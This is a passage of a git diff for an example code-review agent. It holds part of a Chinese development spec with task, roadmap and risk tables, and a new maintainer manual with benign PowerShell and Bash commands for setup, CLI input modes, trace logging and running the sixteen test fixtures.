输入上限、2.6 预算默认值和版本字段;review_report schema 可加载;pytest 可发现并跑通冒烟测试 | tests/unit/test_config.py:测试分层目录、默认值/环境覆盖/config_digest 稳定性断言;schema 语法校验 | +| A2 | diff 解析器与 ChangeSet(scripts/lib/diff_parser.py) | [x] | 2026-07-25 | 按 2.1 字段契约解析 unified diff;覆盖 rename/binary/CRLF/no-newline/删除/新增/snapshot、review_scope、old/new changed lines;新增/snapshot old=`0,0`、删除 new=`0,0`,字段非空;old_to_new 只映射 context;完整新增文件可重建 full_text | tests/unit/test_diff_parser.py:逐边界断言 status/scope、规范路径、`0,0`、context-only 映射、analysis_mode 和 input_sha256 | +| A3 | 检/脱同源密钥模块(scripts/lib/secret_rules.py + code_review/redaction.py) | [x] | 2026-07-25 | ≥12 种密钥模式 + Shannon 熵;detect 与 redact 共用同一正则表;检测读取原始值,任何输出使用 `[REDACTED:<类型>]`;新侧与删除旧侧均扫描,旧侧定位带 line_side=old;recommendation/reasons/error/stdout/stderr 均可统一扫描 | tests/unit/test_redaction.py:≥48 条真实格式语料检出率 ≥95%、≥10 条良性语料;字符串/配置/删除侧密钥、注释占位符和所有旁路字段无明文 | +| A4 | 规则引擎框架 + 安全类规则(rule_engine.py + rules_security.py) | [x] | 2026-07-27 | Rule 协议(rule_id/category/severity/confidence/match);SQLi f-string、shell=True、eval/exec 可检出;仅结构类规则忽略注释/docstring/普通字符串,secrets 不走该通用过滤 | tests/unit/test_rules.py:正样本命中;危险 API 仅出现在注释/字符串时 0 FP;字符串真实密钥仍命中 | +| A5 | 异步 + 资源泄漏规则(rules_async.py + rules_resource.py) | [x] | 2026-07-26 | async 内 time.sleep、未 await、open/ClientSession 未 with/close 可检出(含 hunk 跨行) | tests/unit/test_rules.py 扩展:各规则正/负样本 | +| A6 | DB 生命周期 + 测试缺失规则(rules_db.py + rules_tests.py) | [x] | 2026-07-26 | 连接未关/事务未 commit 可检出;missing-tests 为变更集级启发式,置信度锁 0.5–0.8 | tests/unit/test_rules.py 扩展:missing-tests 断言 confidence<0.8 恒成立 | +| A7 | AST 增强层(requires_full_file + review_scope 约束) | [x] | 2026-07-26 | changed_lines scope 只报 AST 节点与新变更行相交的问题;full_file scope 明确扫描全文;deleted_lines 不跑普通 AST;纯残缺 diff 不 ast.parse;失败降级 + warning | tests/unit/test_rules_ast.py:增量模式历史问题不报、snapshot 模式同一问题可报、变更行命中、新增文件 AST、删除/残缺/语法错误稳定处理 | +| A8 | 输入层与安全 staging(code_review/inputs.py) | [x] | 2026-07-26 | 四种输入互斥并统一产出 ChangeSet;`--files` 固定 snapshot/full_file,fixture 保留 diff/full-file 载荷类型,repo untracked 为 added/full_file;Git argv 禁 shell;realpath、symlink/junction 和输入总量在 staging 前检查;原始内容仅留受控任务域 | tests/integration/test_inputs.py:四输入与 scope/status;fixture diff hunk 不被改写;.env 检出、忽略目录/二进制;路径/超限拒绝;日志无原始密钥 | +| A9 | CR Skill、执行 manifest 与沙箱入口 | [x] | 2026-07-26 | SKILL.md frontmatter 合规;6 篇规则文档声明能力/盲区;security-boundaries.md 完整;manifest 声明 script_id/entrypoint/hash/参数/预算/网络;run_checks.py 读输入输出已脱敏 findings.json | tests/integration/test_skill_scripts.py:manifest schema/摘要校验;subprocess 直跑注册脚本;findings 9 字段且输出无明文 | + +#### 阶段 B:落库闭环 + +| 任务编号 | 任务名称 | 状态 | 完成日期 | 验收标准 | 测试方法 | +|---------|---------|------|---------|---------|---------| +| B1 | SQLAlchemy 5 表 + ReviewStore ABC + init_db | [x] | 2026-07-26 | 2.8 的 5 表模型和索引;report 保存 schema/rule-pack/config/input 版本摘要;SqlReviewStore 支持 SQLite 默认和 URL 切换;get_task_bundle 聚合返回;init-db 幂等 | tests/integration/test_store.py:CRUD、索引/版本字段、bundle 完整性、重复 init-db、脱敏 JSON 字段 | +| B2 | 稳定去重与四桶路由(code_review/dedup.py) | [x] | 2026-07-26 | 三元组去重;按 severity/confidence/evidence 具体度选主项;also_matched 稳定合并;边界无重叠;warnings 只收运行告警 | tests/unit/test_dedup.py:候选乱序输入仍生成相同 JSON;0.50/0.80/1.00 边界和同行同类合并断言 | +| B3 | MetricsCollector + telemetry span(code_review/metrics.py) | [x] | 2026-07-27 | 2.9 的 immutable snapshot 字段完整;span 属性仅走白名单;无 OTel 环境零副作用 | tests/unit/test_metrics.py:三桶/suppressed/Filter 两类计数;snapshot 冻结;敏感文本和绝对路径无法进入 span | +| B4 | Canonical JSON + Markdown renderer(code_review/report.py) | [x] | 2026-07-27 | JSON schema 校验、稳定排序、最终泄漏扫描、原子写入;input_summary 显示 source/scope;MD 仅从 JSON 渲染并区分 old/new 行号;八段完整;ReportRenderer 可扩展 | tests/integration/test_report.py:scope 与 line_side 渲染、JSON/MD/DB 统计一致、重复渲染字节一致、空 findings、原子写入和明文阻止 | +| B5 | ReviewPipeline 八阶段编排(code_review/pipeline.py,fake runtime + model off 先行) | [x] | 2026-07-27 | 5.3 八阶段串通;原始输入仅存在于受控宿主/沙箱;沙箱先检测再脱敏,宿主二次脱敏,出口扫描;异常按 2.8.1 收敛;finally 清理 workspace | tests/integration/test_pipeline.py:真实格式密钥能检出但 task/findings/report/log 无明文;清理成功/失败语义;DB 无原始 diff 全文 | +| B6 | CLI 四子命令 + dry-run 链路(run_agent.py) | [x] | 2026-07-27 | review/show/list/init-db 可用;四输入互斥;支持 `--db-url`;`--dry-run --sandbox local` 零 Key/无 Docker 跑通;仅 dry-run 不换 sandbox;退出码 0/1/2;本期拒绝 command/run-tests/llm-denoise 参数 | tests/e2e/test_cli.py:review→show→list;临时 DB URL;零 Key local <120s;无 Docker strict container exit=2;fail-on-severity 边界 | + +#### 阶段 C:安全边界 + +| 任务编号 | 任务名称 | 状态 | 完成日期 | 验收标准 | 测试方法 | +|---------|---------|------|---------|---------|---------| +| C1 | Manifest 驱动 Filter 治理链(code_review/governance.py) | [x] | 2026-07-27 | 基于真实 BaseFilter/run_filters;按 2.7 顺序校验 script/hash/参数/路径/环境/网络/预算/runtime;网络决策读取最终生效配置/可验证证明而非仅凭 capability;FilterAction 与 FindingBucket 分型;非 ALLOW 短路且原因脱敏落库 | tests/integration/test_governance.py:未注册脚本、hash 不符、参数/shell/path/预算逃逸均被拒且副作用为 0;container capability 为 true 但实际 network_mode=none 可放行;cube 无证明默认拒绝、仅用户确认仍拒绝 | +| C2 | 沙箱工厂、staging 与预算(code_review/sandbox.py) | [x] | 2026-07-27 | container 严格默认且实际 `network_mode=none` 可验证;宿主 repo 不可写挂载;staging 后复验 realpath/hash;per-run 与累计预算预检;WorkspaceOutputSpec 限额;环境构造而非透传 | tests/integration/test_sandbox_safety.py:只读/最小 staging、网络配置默认值与覆盖拒绝、超时、输出截断、累计预算、金丝雀环境变量 | +| C3 | 沙箱失败即数据 + container 实测 | [x] | 2026-07-27 | blocked/timeout/nonzero/truncated/cleanup_error 均形成脱敏 run/warning;任务可出报告则 completed_with_warnings;Docker 下 02/08 fixture 真容器跑通且 network_mode=none 未覆盖 | tests/integration/test_sandbox_safety.py 扩展 + @pytest.mark.container;捕获输出全量明文扫描 | + +#### 阶段 D:Agent 入口与评测 + +| 任务编号 | 任务名称 | 状态 | 完成日期 | 验收标准 | 测试方法 | +|---------|---------|------|---------|---------|---------| +| D1 | LLM 增强层(code_review/llm_enhancer.py,fake|real|off) | [x] | 2026-07-27 | fake 与 real 走相同 LlmAgent+Runner 路径;仅改写 recommendation/summary/复核提示;输入全量脱敏;不得改变 finding identity/rule/severity/confidence/bucket/dedup;有 Key 也不自动 real | tests/integration/test_llm_enhancer.py:canonical finding 对象前后逐字段一致;仅允许文本增强字段变化;LLM 输入无明文 | +| D2 | Agent 入口(agent/agent.py + prompts.py,LlmAgent+SkillToolSet) | [x] | 2026-07-28 | 经 SkillRepository 发现 code-review skill;Agent 真实产生 `skill_load → skill_run` 工具调用,且受控 `skill_run` 只接受一次性 request id,由宿主按 manifest 构造固定执行计划;未 load、无效 request 或 Filter 非 ALLOW 均零沙箱副作用;Agent 与 CLI 共享同一 manifest、Filter、sandbox、storage 和 ReviewPipeline,原始 diff/宿主路径/命令不进模型,输出 canonical finding 集合一致 | tests/integration/test_agent_entry.py:工具事件顺序、双入口 finding 一致性、无效 request/跳过 load/未注册脚本零执行;tests/e2e/test_cli.py:自然语言 fixture query 生成 JSON+MD+DB | +| D3 | 8 条公开 fixture + e2e(tests/fixtures/diffs/ + tests/e2e/test_fixtures_e2e.py) | [x] | 2026-07-27 | 4.3 表 8 条全交付;逐条断言 findings/桶/状态/JSON+MD+DB;08 号验证“真实密钥能检出且所有出口无明文”及注释占位符降噪 | pytest tests/e2e/test_fixtures_e2e.py 参数化 8/8 通过 + 日志/文件/DB 字节级扫描 | +| D4 | 评测语料 + evaluate.py CI 硬门禁 | [x] | 2026-07-28 | 4.4 语料规模与 blind-spot 观测集达标;匹配键 (file,line,category);8 条 fixture 各自经 fake+local Agent/Skill 运行并各自 ≤120s,高危 Recall≥0.8、finding-level FP 占比≤0.15、脱敏≥0.95;聚合评测耗时只观测;摘要含单条时延、版本/配置/环境;默认不写 DB;README 明示 AC2 为代理 | python examples/skills_code_review_agent/evaluate.py --sandbox local(期望 exit=0)+ tests/e2e/test_evaluate.py:断言 8 条 Agent 时延/工具序列,禁止 real/LLM 降噪参数,门禁失败 exit 非零 | + +#### 阶段 E:收尾 + +| 任务编号 | 任务名称 | 状态 | 完成日期 | 验收标准 | 测试方法 | +|---------|---------|------|---------|---------|---------| +| E1 | real 模型实测 + sample_output | [x] | 2026-07-27 | real 模式仅显式开启并用真实 Key 跑通 02_security_simple fixture;sample_output JSON 通过 schema,MD 由该 JSON 渲染,样例不含环境特定绝对路径或敏感值 | @pytest.mark.real_llm 用例 + schema/稳定渲染/明文扫描 | +| E2 | README + 300–500 字设计说明 + 验收总检 | [x] | 2026-07-27 | README 含用法/AC 代理口径/安全信任域/manifest/沙箱 local 指引/输出限制;设计说明覆盖题目全部主题;风险表完整;AC1–AC8 逐条核对 | 全量 pytest + flake8 + schema 校验 + AC 对照表逐项打勾 | +| E3 | 8 条 complex fixture + 成对 E2E | [x] | 2026-07-27 | 8 条 simple fixture 全部保留;每类新增 1 条 60–150 行新增代码、至少双文件且包含正常实现/风险/干扰项的 complex diff;16 条均验证 JSON+MD+DB,complex 逐条保持类别、分桶、去重和脱敏契约;evaluate 仍使用 simple 8 条门禁 | tests/e2e/test_fixtures_e2e.py:8 条 complex 逐条聚焦通过 + 8 条 simple 回归 + 普通全量回归 | +| E4 | fixture simple/complex 命名迁移 | [x] | 2026-07-27 | 16 条 fixture 仅以 `_simple` 或 `_complex` 命名;CLI、Agent、Container、real-model、evaluate、文档、QA 与精确 E2E 断言全部使用新名称;evaluate 仍只统计 simple 8 条,禁止旧名别名残留 | tests/e2e/test_fixtures_e2e.py:16 条通过;tests/e2e/test_evaluate.py:8/8 simple 门禁;全量普通回归 | +| E5 | 维护者运行手册 + Agent CLI 入口 + 显式产物路径 | [x] | 2026-07-28 | README 直达完整 `OPERATIONS.md`;手册同时给出 Windows PowerShell 与 Linux/macOS Bash 命令,覆盖 `.env.example`、Docker/本地/Cube 前置、CLI 四输入、16 fixture、fake/real/off、direct/Agent 入口、DB/报告查询、pytest/evaluate/lint 和故障排查;公开 `user-query` 经 SDK Agent+SkillToolSet 复用同一 pipeline,支持四种结构化输入并在 Agent 前拒绝无效输入;`--via-agent`/`ask` 不保留;INFO 安全显示实际 container ID、阶段、计数、耗时和报告位置,SDK 原始 INFO 降为 WARNING;review 成功 JSON 返回完整 JSON/Markdown 产物位置 | tests/e2e/test_cli.py:direct/`user-query` 都生成报告并返回入口/路径,四输入、无效输入零 Agent/Filter/沙箱副作用、INFO 无敏感字段且 container ID 可见;tests/e2e/test_release_docs.py:维护手册、配置模板和 PowerShell/Bash 关键命令链接存在;维护者按 OPERATIONS.md 手工执行 local/container/real 路径 | + +## 7. 未来规划 + +以下明确不在本期交付,留作后续迭代: + +- **SARIF v2.1.0 输出**:基于本期 `ReportRenderer` 和 canonical ReviewReport 接 GitHub Code Scanning,不另建报告数据模型 +- **沙箱内运行目标仓库单元测试**(执行边界已定,实施时照此):仅 `--repo-path` 模式可用(--diff-file 无仓库可跑);整体默认 off,显式 `--run-tests targeted` 开启。启用后默认只运行 diff 中新增/修改的测试文件及路径映射可定位的相关测试;无网络容器内 `pytest -q`,单次 ≤30s,不允许在线安装依赖;找不到相关测试**不自动跑全量**;全量测试或用户自定义测试命令必须显式请求、注册为受控参数模板并再次经过 Filter。结果分类固定为:测试断言失败 → sandbox 摘要 + needs_human_review;缺依赖/插件失败/ImportError/环境不兼容 → warnings;超时/容器错误 → warnings + sandbox error;未收集或无法映射测试 → needs_human_review。以上均**不进 findings 桶**、不参与 AC2,也不导致 review 崩溃 +- **外部扫描器(bandit、semgrep)进沙箱**:R2 的可选执行目标,当前以规则脚本 + diff 解析满足要求 +- **LLM 语义补审(盲区折中方案)**:对规则未检出但可疑的代码(2.3 声明盲区:跨函数资源传递、异常路径泄漏、数据流类异步错误、业务逻辑漏洞)做 LLM 二次审阅。硬约束:结果**只能标 needs_human_review,永远不进正式 findings、不参与检出率/误报率统计**——补语义盲区但不破坏规则层的确定性保证。需预录制 fixture 体系支撑 fake 模式 +- **LLM 降噪二分类**:只能给 canonical finding 添加脱敏的“疑似误报、建议人工复核”辅助说明,不得直接删除 finding 或改写 severity/confidence/bucket/dedup;若未来要允许改变正式结果,必须另起 schema/rule-pack 版本和独立评测合同 +- **A2A / AG-UI 服务化**:多轮对话与流式事件 +- **RAG 编码规范知识库 + 跨会话长期记忆**:历史评审经验沉淀 +- **多语言规则**:JS/Go 等语言的安全与资源规则 +- **在线评测平台**:隐藏样本集持续回归与指标看板 + +### 7.1 风险登记表 + +| 风险 | 触发信号 | 本期缓解 | +|------|---------|---------| +| 正则规则误报 | 干净样本 finding-level FP 占比上升 | AST 确认、注释/字符串作用域过滤、降低置信度、稳定例外规则 | +| AST 报告历史问题 | finding 主定位不在 new_changed_lines | AST 节点范围强制与 changed lines 相交 | +| manifest 与脚本漂移 | staged 文件 SHA-256 不一致 | Filter 在运行前 deny 并记录脱敏事件 | +| 恶意路径或大输入耗尽资源 | realpath 越界、文件/字节/行数超限 | staging 前拒绝或标人工复核,不读取越界目标 | +| 敏感信息经旁路泄漏 | 最终输出扫描命中明文 | 阻止报告/DB 持久化,任务 failed,保留无明文错误码 | +| container 不可用 | runtime 初始化失败 | 生产默认明确报错;local 仅显式开发 fallback 并写 warning | +| 外部依赖导致测试噪声 | ImportError、插件/环境错误 | 本期不运行目标仓库测试;未来按上方失败类型分桶 | diff --git a/examples/skills_code_review_agent/OPERATIONS.md b/examples/skills_code_review_agent/OPERATIONS.md new file mode 100644 index 000000000..84630b320 --- /dev/null +++ b/examples/skills_code_review_agent/OPERATIONS.md @@ -0,0 +1,465 @@ +# Automatic Code Review Agent — 维护与 PR 验收手册 + +[`README.md`](README.md) 是项目主入口,包含能力说明、官方验收标准、快速开始和实测基准;本文件是面向 +合并 PR 前维护者的**详细维护与 PR 验收补充**。完整字段契约、预算与验收标准以同目录 +[`DEV_SPEC.md`](DEV_SPEC.md) 为准。本文件同时提供 Windows PowerShell 与 Linux/macOS Bash 命令, +所有命令从仓库根目录执行。PowerShell 只复制代码块中的命令,不要复制终端提示符 `PS ...>` 或续行提示符 `>>`。 + +## 0. 前置检查与配置 + +```powershell +# Windows PowerShell +$py = ".\.venv\Scripts\python.exe" +& $py --version +docker version --format '{{.Client.Version}} / {{.Server.Version}}' +``` + +```bash +# Linux / macOS Bash +py=".venv/bin/python" +"$py" --version +docker version --format '{{.Client.Version}} / {{.Server.Version}}' +``` + +`.venv` 是所有开发、测试和评测的唯一 Python 环境。第二条 Docker 命令只在 Container +场景需要;Client 和 Server 都有版本号才表示 Docker Desktop daemon 可用。 + +### 依赖策略 + +仓库根 [`pyproject.toml`](../../pyproject.toml) 是 SDK 与开发依赖的规范源。本示例另外通过 +[`requirements.txt`](requirements.txt) 声明 canonical report 校验所需的 `jsonschema`,从而不修改 +共享 SDK 的依赖范围。新建维护环境需要安装根项目、开发工具和示例依赖: + +```powershell +& $py -m pip install -e ".[dev]" +& $py -m pip install -r examples/skills_code_review_agent/requirements.txt +``` + +```bash +"$py" -m pip install -e ".[dev]" +"$py" -m pip install -r examples/skills_code_review_agent/requirements.txt +``` + +根项目提供 tRPC-Agent SDK、SQLAlchemy、Docker SDK、pytest 和 flake8;示例 requirements 只补充 +`jsonschema`。本项目规则脚本本身优先使用标准库。Container 的额外前置是 Docker Desktop, +也不得在评审任务执行期间在线安装依赖。 + +| 需求 | 需要配置 | 不应放入 `.env` | +|---|---|---| +| `--model-mode off` / `fake` / `--dry-run` | 无 API Key | sandbox、网络、输出目录、DB URL | +| `--model-mode real` | 项目目录 `.env` 中的三项模型变量 | API Key 不会传给 sandbox | +| `--sandbox local` | 显式命令参数;无 Docker 要求 | 不可把它设成隐式默认 | +| `--sandbox container` | Docker Desktop 正在运行 | 不可把网络策略改为 `.env` 变量 | +| `--sandbox cube` | **当前示例不支持。** CLI 未注入 Cube/E2B runtime factory,且无机器可验证受控网络证明 | 不应尝试用环境变量绕过配置错误或 Filter deny;请改用 `container` 或显式 `local` | + +仅首次创建真实模型配置时,复制模板后填入自己的值;已有 `.env` 不要覆盖: + +```powershell +Copy-Item examples/skills_code_review_agent/.env.example examples/skills_code_review_agent/.env +``` + +```bash +cp examples/skills_code_review_agent/.env.example examples/skills_code_review_agent/.env +``` + +`.env` 只允许 `TRPC_AGENT_API_KEY`、`TRPC_AGENT_BASE_URL`、`TRPC_AGENT_MODEL_NAME`。 +进程环境优先于 `.env`。它只供宿主上的 real LLM 增强使用,不会进入 sandbox、报告、数据库、日志或 Telemetry。 + +## 1. 产物定位、退出码与两条入口 + +每次 `review` 或 `user-query` 成功都会输出一行 JSON,包含 `task_id`、`entrypoint`、实际 +`skill_tools`、`sandbox` 和: + +```json +{ + "report_files": { + "json": "C:\\...\\review_report.json", + "markdown": "C:\\...\\review_report.md" + } +} +``` + +完整路径只显示在当前终端,绝不写进报告、SQLite、日志或 Telemetry。数据库位置由你显式传入的 +`--db-url` 决定;建议每次运行都把它放到同一 `--output-dir` 下。退出码 `0` 表示报告已生成, +`1` 表示 `--fail-on-severity` 命中正式 finding,`2` 表示配置或致命运行错误。 + +| 入口 | 何时使用 | 命令差异 | +|---|---|---| +| direct pipeline | 常规人工/CI 评审 | 使用 `review` | +| SDK Agent + SkillToolSet | 真实执行 `skill_load → skill_run` 并进入同一审查链路 | 使用 `user-query ""` 加一项结构化输入 | + +两种调用方式共享 manifest、Filter、sandbox、storage、规则和 `ReviewPipeline`。Agent 入口只向 +`skill_run` 提供宿主签发的一次性 request id;固定 Skill、脚本、argv、路径、环境和预算仍由宿主与 +manifest 决定。终端 JSON 中 `skill_tools=["skill_load","skill_run"]` 是本次实际 SDK 工具事件,不是 +静态声明。若未先 load、request id 无效或 Filter 非 ALLOW,沙箱执行副作用必须为零。 + +### 实时 trace(不泄露输入) + +在 `review` 或 `user-query` 后增加 `--trace`,可参考 `examples/skills_with_container/run_agent.py` 的 Runner +事件展示方式,实时看到模型请求工具、工具响应和 pipeline 阶段。与该通用示例不同,本项目不会打印 +`function_call.args`、`function_response.response` 或模型 thought/text:这些字段可能包含不可信内容。 +trace 只会把下列脱敏 JSON Lines 写到 stderr,stdout 保持一条最终 JSON,便于 CI 使用: + +```powershell +& $py examples/skills_code_review_agent/run_agent.py user-query ` + "请使用 code-review Skill 审查这个安全样例" ` + --fixture 02_security_simple ` + --trace ` + --sandbox local ` + --dry-run ` + --output-dir out/review_trace ` + --db-url sqlite+pysqlite:///out/review_trace/review.db +``` + +```text +[code-review-trace] {"event":"agent.tool_call","tool":"skill_load"} +[code-review-trace] {"event":"agent.tool_response","tool":"skill_load"} +[code-review-trace] {"event":"agent.tool_call","tool":"skill_run"} +[code-review-trace] {"event":"pipeline.filter_decision","action":"allow"} +[code-review-trace] {"event":"pipeline.sandbox_finished","status":"ok"} +[code-review-trace] {"event":"pipeline.report_persisted","status":"completed_with_warnings"} +``` + +完整事件还包括 `user_query.request_received`、`user_query.input_validated`、`review.started`、`agent.turn_started`、 +`skill_run.started`、`pipeline.input_loaded`、`pipeline.sandbox_started`、`skill_run.completed` 和 +`review.completed`。禁止把 stderr trace 当成审计持久化载体;最终 JSON、Markdown 与 SQLite bundle +仍是唯一可查询的交付结果。 + +### INFO / DEBUG 日志边界 + +默认 `--log-level INFO` 会在 stderr 显示 Agent 工具调用、输入计数、Filter action、沙箱状态、耗时、 +finding 计数和报告保存位置。Container 运行时还会显示完整 Docker container ID,便于维护者关联 Docker +诊断。`--log-level DEBUG` 仅额外显示仓库相对路径、script_id 与已脱敏输出摘要。 + +SDK 原始 logger 被静默,避免其打印 SDK 源码绝对路径、workspace ID 或 request ID;最终 CLI JSON 仍独占 +stdout。任何级别都不会打印原始 diff、代码、evidence、工具完整参数、环境变量、API Key、token 或 password。 + +## 2. 四种输入模式 + +以下均为本机开发 fallback,必须显式 `--sandbox local`,报告会保留隔离不可强制证明的 warning。 + +### Unified diff / PR patch + +```powershell +& $py examples/skills_code_review_agent/run_agent.py review ` + --diff-file examples/skills_code_review_agent/tests/fixtures/diffs/02_security_complex.diff ` + --sandbox local ` + --dry-run ` + --output-dir out/review_diff ` + --db-url sqlite+pysqlite:///out/review_diff/review.db +``` + +```bash +"$py" examples/skills_code_review_agent/run_agent.py review --diff-file examples/skills_code_review_agent/tests/fixtures/diffs/02_security_complex.diff --sandbox local --dry-run --output-dir out/review_diff --db-url sqlite+pysqlite:///out/review_diff/review.db +``` + +### 当前 Git 工作区变更 + +```powershell +& $py examples/skills_code_review_agent/run_agent.py review ` + --repo-path . ` + --sandbox local ` + --dry-run ` + --output-dir out/review_repo ` + --db-url sqlite+pysqlite:///out/review_repo/review.db +``` + +```bash +"$py" examples/skills_code_review_agent/run_agent.py review --repo-path . --sandbox local --dry-run --output-dir out/review_repo --db-url sqlite+pysqlite:///out/review_repo/review.db +``` + +### 指定文件的全文件 snapshot 扫描 + +```powershell +& $py examples/skills_code_review_agent/run_agent.py review ` + --files examples/skills_code_review_agent/code_review/report.py ` + --input-root . ` + --sandbox local ` + --dry-run ` + --output-dir out/review_files ` + --db-url sqlite+pysqlite:///out/review_files/review.db +``` + +```bash +"$py" examples/skills_code_review_agent/run_agent.py review --files examples/skills_code_review_agent/code_review/report.py --input-root . --sandbox local --dry-run --output-dir out/review_files --db-url sqlite+pysqlite:///out/review_files/review.db +``` + +### 受控 fixture 输入 + +```powershell +& $py examples/skills_code_review_agent/run_agent.py review ` + --fixture 02_security_simple ` + --sandbox local ` + --dry-run ` + --output-dir out/review_fixture ` + --db-url sqlite+pysqlite:///out/review_fixture/review.db +``` + +```bash +"$py" examples/skills_code_review_agent/run_agent.py review --fixture 02_security_simple --sandbox local --dry-run --output-dir out/review_fixture --db-url sqlite+pysqlite:///out/review_fixture/review.db +``` + +要通过 SDK Agent 审查任一种输入,使用 `user-query`;自然语言只表达意图,输入路径或 fixture 必须显式传参: + +```powershell +& $py examples/skills_code_review_agent/run_agent.py user-query "请审查这个安全样例" --fixture 02_security_simple --sandbox local --dry-run --log-level INFO --output-dir out/review_fixture_agent --db-url sqlite+pysqlite:///out/review_fixture_agent/review.db +``` + +```bash +"$py" examples/skills_code_review_agent/run_agent.py user-query "Review this security fixture" --fixture 02_security_simple --sandbox local --dry-run --log-level INFO --output-dir out/review_fixture_agent --db-url sqlite+pysqlite:///out/review_fixture_agent/review.db +``` + +`user-query` 同时支持 diff、Git 工作区和文件 snapshot;它不会把自由文本解释成文件路径、shell 命令或 +环境变量。格式错误 diff、路径逃逸、非 UTF-8 文本、超预算输入和疑似明文凭据会在创建 Agent 前以退出码 2 拒绝: + +```powershell +& $py examples/skills_code_review_agent/run_agent.py user-query ` + "请使用 code-review Skill 审查这个补丁" ` + --diff-file .\changes.diff ` + --sandbox local ` + --dry-run ` + --output-dir out/review_user_query ` + --db-url sqlite+pysqlite:///out/review_user_query/review.db +``` + +```bash +"$py" examples/skills_code_review_agent/run_agent.py user-query \ + "Use the code-review Skill to review this patch" \ + --diff-file ./changes.diff \ + --sandbox local \ + --dry-run \ + --output-dir out/review_user_query \ + --db-url sqlite+pysqlite:///out/review_user_query/review.db +``` + +`user-query` 的四种结构化输入与 `review` 一致。下面是可直接复制的完整 Agent 命令;输出位置均会在 +stderr INFO 和最后一行 stdout JSON 的 `report_files` 中显示: + +```powershell +# diff / PR patch +& $py examples/skills_code_review_agent/run_agent.py user-query "请审查这个补丁" --diff-file .\changes.diff --sandbox local --dry-run --output-dir out/agent_diff --db-url sqlite+pysqlite:///out/agent_diff/review.db +# 当前 Git 工作区 +& $py examples/skills_code_review_agent/run_agent.py user-query "请审查当前工作区变更" --repo-path . --sandbox local --dry-run --output-dir out/agent_repo --db-url sqlite+pysqlite:///out/agent_repo/review.db +# 指定文件 snapshot +& $py examples/skills_code_review_agent/run_agent.py user-query "请审查这些文件" --files examples/skills_code_review_agent/code_review/report.py --input-root . --sandbox local --dry-run --output-dir out/agent_files --db-url sqlite+pysqlite:///out/agent_files/review.db +# 内置 fixture +& $py examples/skills_code_review_agent/run_agent.py user-query "请审查安全风险样例" --fixture 02_security_simple --sandbox local --dry-run --output-dir out/agent_fixture --db-url sqlite+pysqlite:///out/agent_fixture/review.db +``` + +```bash +"$py" examples/skills_code_review_agent/run_agent.py user-query "Review this patch" --diff-file ./changes.diff --sandbox local --dry-run --output-dir out/agent_diff --db-url sqlite+pysqlite:///out/agent_diff/review.db +"$py" examples/skills_code_review_agent/run_agent.py user-query "Review the current Git workspace" --repo-path . --sandbox local --dry-run --output-dir out/agent_repo --db-url sqlite+pysqlite:///out/agent_repo/review.db +"$py" examples/skills_code_review_agent/run_agent.py user-query "Review these files" --files examples/skills_code_review_agent/code_review/report.py --input-root . --sandbox local --dry-run --output-dir out/agent_files --db-url sqlite+pysqlite:///out/agent_files/review.db +"$py" examples/skills_code_review_agent/run_agent.py user-query "Review the security fixture" --fixture 02_security_simple --sandbox local --dry-run --output-dir out/agent_fixture --db-url sqlite+pysqlite:///out/agent_fixture/review.db +``` + +`--dry-run` / `--model-mode fake` 使用离线模型,但仍由真实 `LlmAgent + Runner` 发出两个工具调用; +`--model-mode real` 会让 Agent 编排和报告增强都显式使用 `.env` 中的真实模型。无论模型模式如何, +确定性 finding、Filter 决策和沙箱执行都不交给模型。 + +## 3. 16 个公开 fixture + +下面函数为每个 fixture 创建独立输出目录和 SQLite 文件。默认走 direct pipeline;如需验证 Agent +入口请使用上一节的 `user-query "" --fixture `,不再提供 `-ViaAgent` 兼容开关。 + +```powershell +function Invoke-ReviewFixture { + param( + [Parameter(Mandatory = $true)][string]$Fixture + ) + $outputDir = "out\fixtures\$Fixture" + $dbUrl = "sqlite+pysqlite:///$($outputDir.Replace('\', '/'))/review.db" + $cliArguments = @( + "examples/skills_code_review_agent/run_agent.py", "review", + "--fixture", $Fixture, + "--sandbox", "local", + "--dry-run", + "--output-dir", $outputDir, + "--db-url", $dbUrl + ) + & $py @cliArguments +} +``` + +| 场景 | simple | complex | +|---|---|---| +| 无问题 | `Invoke-ReviewFixture 01_clean_simple` | `Invoke-ReviewFixture 01_clean_complex` | +| 安全风险 | `Invoke-ReviewFixture 02_security_simple` | `Invoke-ReviewFixture 02_security_complex` | +| 异步/资源泄漏 | `Invoke-ReviewFixture 03_async_leak_simple` | `Invoke-ReviewFixture 03_async_leak_complex` | +| 数据库生命周期 | `Invoke-ReviewFixture 04_db_lifecycle_simple` | `Invoke-ReviewFixture 04_db_lifecycle_complex` | +| 测试缺失 | `Invoke-ReviewFixture 05_missing_tests_simple` | `Invoke-ReviewFixture 05_missing_tests_complex` | +| 去重 | `Invoke-ReviewFixture 06_duplicate_finding_simple` | `Invoke-ReviewFixture 06_duplicate_finding_complex` | +| 沙箱失败即数据 | `Invoke-ReviewFixture 07_sandbox_failure_simple` | `Invoke-ReviewFixture 07_sandbox_failure_complex` | +| 密钥检测与脱敏 | `Invoke-ReviewFixture 08_secret_redaction_simple` | `Invoke-ReviewFixture 08_secret_redaction_complex` | + +每一项都会生成 JSON、Markdown 和 SQLite bundle。`_simple` 是 AC1/AC2 的公开快速门禁; +`_complex` 是同类的多文件、60–150 行工程上下文回归,不改变 evaluate 的 8 条分母。 + +Linux/macOS Bash 使用以下等价函数和全部 16 个 direct 调用;Agent 场景使用上一节的 `user-query` 命令: + +```bash +review_fixture() { + local fixture="$1" + local output_dir="out/fixtures/${fixture}" + local db_url="sqlite+pysqlite:///${output_dir}/review.db" + local args=(examples/skills_code_review_agent/run_agent.py review --fixture "$fixture" --sandbox local --dry-run --output-dir "$output_dir" --db-url "$db_url") + "$py" "${args[@]}" +} + +review_fixture 01_clean_simple +review_fixture 01_clean_complex +review_fixture 02_security_simple +review_fixture 02_security_complex +review_fixture 03_async_leak_simple +review_fixture 03_async_leak_complex +review_fixture 04_db_lifecycle_simple +review_fixture 04_db_lifecycle_complex +review_fixture 05_missing_tests_simple +review_fixture 05_missing_tests_complex +review_fixture 06_duplicate_finding_simple +review_fixture 06_duplicate_finding_complex +review_fixture 07_sandbox_failure_simple +review_fixture 07_sandbox_failure_complex +review_fixture 08_secret_redaction_simple +review_fixture 08_secret_redaction_complex + +# 任选一个 fixture 验证 SDK Agent + SkillToolSet 入口。 +"$py" examples/skills_code_review_agent/run_agent.py user-query "Review this security fixture" --fixture 02_security_simple --sandbox local --dry-run --output-dir out/agent_fixture --db-url sqlite+pysqlite:///out/agent_fixture/review.db +``` + +## 4. 模型和沙箱组合 + +### 模型模式 + +```powershell +# 